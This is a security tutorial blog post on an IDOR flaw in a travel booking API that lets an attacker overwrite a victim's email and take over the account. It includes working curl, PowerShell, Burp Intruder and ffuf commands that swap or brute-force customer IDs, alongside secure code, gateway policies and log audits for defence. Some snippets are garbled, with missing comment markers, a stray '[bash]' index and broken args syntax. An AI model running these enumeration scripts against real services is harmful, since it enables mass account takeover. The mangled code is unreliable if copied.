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Introduction:
Broken Access Control remains the most critical API security risk according to the OWASP API Security Top 10. When a travel booking platform blindly trusts a client-supplied `customer_id` parameter instead of validating ownership against the authenticated JWT token context, attackers can overwrite any victim’s email address. This IDOR (Insecure Direct Object Reference) flaw enables zero-click Account Takeover (ATO), bypassing all traditional authentication layers.
Learning Objectives:
- Understand how client-supplied identifiers like `customer_id` can be abused in profile update endpoints.
- Learn to detect, exploit, and remediate Broken Access Control vulnerabilities using Burp Suite and command-line tools.
- Implement server-side authorization checks and JWT context validation to prevent IDOR-based ATO.
You Should Know
- Understanding the Broken Access Control Flaw in API Endpoints
The vulnerability arises when an API endpoint uses an identifier from the request body (e.g., customer_id) to determine which resource to modify, without cross-referencing it with the authenticated session’s user ID. In the travel booking platform case, the profile update endpoint accepted customer_name, customer_email, and customer_id. The server performed no ownership check – it simply overwrote the record matching the provided customer_id.
Step‑by‑step guide to understand the attack flow:
- Attacker logs into their own account (ID 217), capturing the profile update request via Burp Suite.
2. Original payload: `customer_name=Attacker&[email protected]&customer_id=217`
- Attacker changes `customer_id` to victim’s ID (218) while keeping the same JWT token.
4. Modified payload: `customer_name=Attacker&[email protected]&customer_id=218`
- Server returns HTTP 200 OK – victim’s email is now changed to attacker’s email.
- Attacker triggers password reset on victim’s account; reset link goes to attacker’s email → full takeover.
Linux command to test for IDOR using cURL:
Authenticate and capture JWT token (example)
curl -X POST https://target.com/api/login -d '{"username":"attacker","password":"pass"}' -H "Content-Type: application/json" | jq -r '.token' > token.txt
Attempt IDOR on profile update endpoint
curl -X PUT https://target.com/api/profile/update \
-H "Authorization: Bearer $(cat token.txt)" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "customer_name=Hacker&[email protected]&customer_id=218"
Windows PowerShell alternative:
$token = (Invoke-RestMethod -Method Post -Uri "https://target.com/api/login" -Body '{"username":"attacker","password":"pass"}' -ContentType "application/json").token
$body = "customer_name=Hacker&[email protected]&customer_id=218"
Invoke-RestMethod -Method Put -Uri "https://target.com/api/profile/update" -Headers @{Authorization="Bearer $token"} -Body $body -ContentType "application/x-www-form-urlencoded"
- JWT Token Misconceptions – Why Tokens Don’t Automatically Secure APIs
Many developers believe that using JWT tokens alone guarantees API security. However, JWTs only authenticate who is making the request – they do not authorize what the requester can do with a given resource. The travel booking platform validated the JWT signature (ensuring the token wasn’t tampered) but never checked if the `customer_id` in the payload belonged to the authenticated user.
Step‑by‑step guide to decode and inspect JWT tokens:
- Use `jwt_tool` (Linux) to decode and analyze tokens:
Install jwt_tool git clone https://github.com/ticarpi/jwt_tool cd jwt_tool python3 jwt_tool.py <JWT_TOKEN>
2. Manual decode using base64 (Linux):
Split JWT into three parts (header.payload.signature) echo "<JWT_TOKEN>" | cut -d"." -f2 | base64 -d 2>/dev/null | jq .
- Verify if the JWT contains a `user_id` or `sub` claim – this should be compared against any `customer_id` in the request body.
Common JWT pitfalls:
- Using JWT only for authentication without implementing per-endpoint authorization.
- Storing roles/permissions inside JWT but not re-validating on each request.
- Accepting `none` algorithm or weak signing keys (allows token forgery).
Windows PowerShell JWT decoding:
$token = "<JWT_TOKEN>"
$payload = $token.Split('.')[bash]
Add padding if needed
while ($payload.Length % 4) { $payload += "=" }
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload)) | ConvertFrom-Json
- Exploiting Broken Access Control with Burp Suite – A Hands‑on Tutorial
Burp Suite is the industry standard for intercepting and modifying API requests. The travel booking platform vulnerability was discovered using Burp’s Repeater and Intruder tools.
Step‑by‑step guide to replicate the exploit:
- Intercept the request: In Burp Proxy, right‑click on the profile update request → “Send to Repeater”.
- Modify the parameter: In Repeater, locate the `customer_id` parameter and change its value to another number (e.g., 218). Keep the JWT header intact.
- Observe the response: If the server returns `200 OK` and the response confirms email update, the endpoint is vulnerable.
- Automate enumeration with Intruder: Send the request to Intruder, mark `customer_id` as a payload position. Use a numbers payload from 1 to 1000. Check for any response where email is overwritten.
- Zero‑click ATO confirmation: After successfully changing the victim’s email, request a password reset. If the reset link arrives at your controlled email, account takeover is achieved.
Burp Suite best practices for API testing:
- Always check
PUT,PATCH,POST, and `DELETE` endpoints for IDOR. - Pay attention to nested JSON objects – e.g., `{“user”: {“id”: 218, “email”: “[email protected]”}}`
– Use `match and replace` rules to automatically swap `customer_id` across all requests.
4. Server‑Side Remediation – Enforcing Authorization in Code
The only reliable fix is server‑side authorization. Never trust client‑supplied identifiers. Instead, derive the user identity from the authenticated session (JWT or session cookie) and compare it against the resource being accessed.
Step‑by‑step guide to implement secure validation (Node.js/Express example):
// Vulnerable code (DO NOT USE)
app.put('/api/profile/update', authenticateJWT, (req, res) => {
const { customer_id, customer_email, customer_name } = req.body;
// Directly updates record with customer_id from body
db.updateUser(customer_id, { email: customer_email, name: customer_name });
res.sendStatus(200);
});
// Secure code
app.put('/api/profile/update', authenticateJWT, (req, res) => {
const { customer_email, customer_name } = req.body;
// Extract user ID from the authenticated JWT payload, not from request body
const authenticatedUserId = req.user.id; // Set by authenticateJWT middleware
// Only update the authenticated user's own record
db.updateUser(authenticatedUserId, { email: customer_email, name: customer_name });
res.sendStatus(200);
});
Python (Flask) secure implementation:
from flask import request, jsonify
from functools import wraps
def token_required(f):
@wraps(f)
def decorated(args, kwargs):
token = request.headers.get('Authorization')
Verify JWT and extract user_id
user_id = verify_jwt_token(token) Returns the user's ID from the token
if not user_id:
return jsonify({'message': 'Invalid token'}), 403
request.authenticated_user_id = user_id
return f(args, kwargs)
return decorated
@app.route('/api/profile/update', methods=['PUT'])
@token_required
def update_profile():
data = request.get_json()
Always use authenticated_user_id, never from client
db.update_user(request.authenticated_user_id, data.get('email'), data.get('name'))
return jsonify({'message': 'Updated'}), 200
5. Cloud and API Gateway Hardening Against IDOR
In cloud environments (AWS, Azure, GCP), API gateways can add a layer of validation, but never replace application‑level checks. Use gateway policies to strip client‑supplied identity parameters before they reach your backend.
Step‑by‑step guide for AWS API Gateway + Lambda:
- Create a custom authorizer (Lambda) that validates JWT and injects the user ID into the request context.
def lambda_handler(event, context): token = event['authorizationToken'] user_id = verify_jwt(token) if user_id: return generate_policy(user_id, 'Allow', event['methodArn']) return generate_policy('user', 'Deny', event['methodArn']) -
In the backend Lambda, read the user ID from `event[‘requestContext’][‘authorizer’][‘claims’][‘sub’]` – never from the body or path parameters.
-
Use IAM policies to enforce that a principal can only access resources with a matching resource‑based policy (e.g., DynamoDB row‑level security).
Azure API Management policy snippet to strip client IDs:
<inbound>
<set-variable name="authenticatedUserId" value="@(context.Request.Headers.GetValueOrDefault("X-User-Id"))" />
<rewrite-uri-template template="/profile/update" />
<!-- Remove any customer_id from body -->
<set-body>@{
var body = context.Request.Body.As<JObject>();
body.Remove("customer_id");
return body.ToString();
}</set-body>
</inbound>
- Automated Scanning for Broken Access Control – Tools & Commands
You can automate IDOR detection using tools like Autorize, Authz, or custom scripts that compare responses when changing resource IDs.
Step‑by‑step guide using `ffuf` (Linux):
First, capture a valid authenticated request with a known resource ID
Save the request body to a file (e.g., update.json) with a placeholder FUZZ
ffuf command to test IDOR by fuzzing customer_id
ffuf -u https://target.com/api/profile/update \
-X PUT \
-H "Authorization: Bearer eyJhbG..." \
-H "Content-Type: application/json" \
-d '{"customer_name":"test","customer_email":"[email protected]","customer_id":"FUZZ"}' \
-w ids.txt \
-fc 401,403,404 \
-o idor_results.json
Windows PowerShell script to brute‑force IDOR parameters:
$token = "YOUR_JWT"
$url = "https://target.com/api/profile/update"
$headers = @{Authorization="Bearer $token"; "Content-Type"="application/json"}
for ($id=1; $id -le 100; $id++) {
$body = @{customer_name="Hacker"; customer_email="[email protected]"; customer_id=$id} | ConvertTo-Json
$response = Invoke-WebRequest -Uri $url -Method Put -Headers $headers -Body $body -UseBasicParsing
if ($response.StatusCode -eq 200) {
Write-Host "Potential IDOR on ID: $id"
Check response content to see if email was changed
}
}
- Mitigation Cheat Sheet – API Authorization Best Practices
| Weak Practice | Strong Mitigation |
|-||
| Using `customer_id` from request body | Use only authenticated session ID (JWT sub claim) |
| Validating JWT signature only | Validate JWT + enforce resource ownership on every endpoint |
| Allowing mass assignment of user fields | Explicitly define updatable fields; never allow ID updates |
| Permissive CORS + no CSRF tokens | Strict CORS + anti‑CSRF for state‑changing API calls |
| Returning full object on error | Generic error messages (e.g., “Access denied”) |
Linux command to audit Nginx logs for suspicious IDOR patterns:
Look for sequential customer_id accesses from the same IP
sudo grep "/api/profile/update" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -nr
Windows Event Viewer query for IIS logs (PowerShell):
Get-Content "C:\inetpub\logs\LogFiles\W3SVC1\u_ex.log" | Select-String "/api/profile/update" | ForEach-Object {
if ($_ -match "customer_id=\d+") { $_ }
} | Group-Object {($_ -split ' ')[bash]} | Where-Object {$_.Count -gt 5}
What Undercode Say:
- Never trust client‑side identifiers – Always derive resource ownership from server‑side authenticated context (JWT
sub, session token, or OAuth claims). The travel booking platform failed because it treated `customer_id` as an authoritative key. - Authorization is NOT authentication – JWT tokens prove who you are, not what you can do. Each API endpoint must re‑validate that the authenticated principal has permission to access the requested resource.
- Zero‑click ATO is the new critical – Attackers don’t need user interaction; one misconfigured API call can silently overwrite credentials. Implement strict input validation and object‑level authorization checks.
- Automated scanners miss business logic flaws – While tools help, manual testing with Burp Repeater and parameter tampering remains essential for IDOR detection.
- Cloud API gateways add defense in depth – Use gateway‑level policies to strip or validate identity claims, but never skip application‑layer checks. Defense in layers saves breaches.
Prediction:
As more companies shift to microservices and API‑first architectures, Broken Access Control vulnerabilities will continue to dominate OWASP Top 10. The travel booking platform case is a warning: AI‑generated API endpoints often copy‑paste insecure patterns. Within the next 18 months, we will see regulatory fines (GDPR/CCPA) specifically tied to IDOR‑based data breaches. Attackers will weaponize automated IDOR chaining – combining email overwrites with password reset flows – to achieve mass account takeover at scale. The only long‑term solution is shifting authorization logic left: implementing policy‑as‑code frameworks (e.g., Open Policy Agent) and runtime API security scanning that monitors for anomalous object access patterns. Organizations that fail to enforce server‑side ownership checks will become prime targets for zero‑click credential stuffing and identity theft campaigns.
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IT/Security Reporter URL:
Reported By: Zlatanh Hacking – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
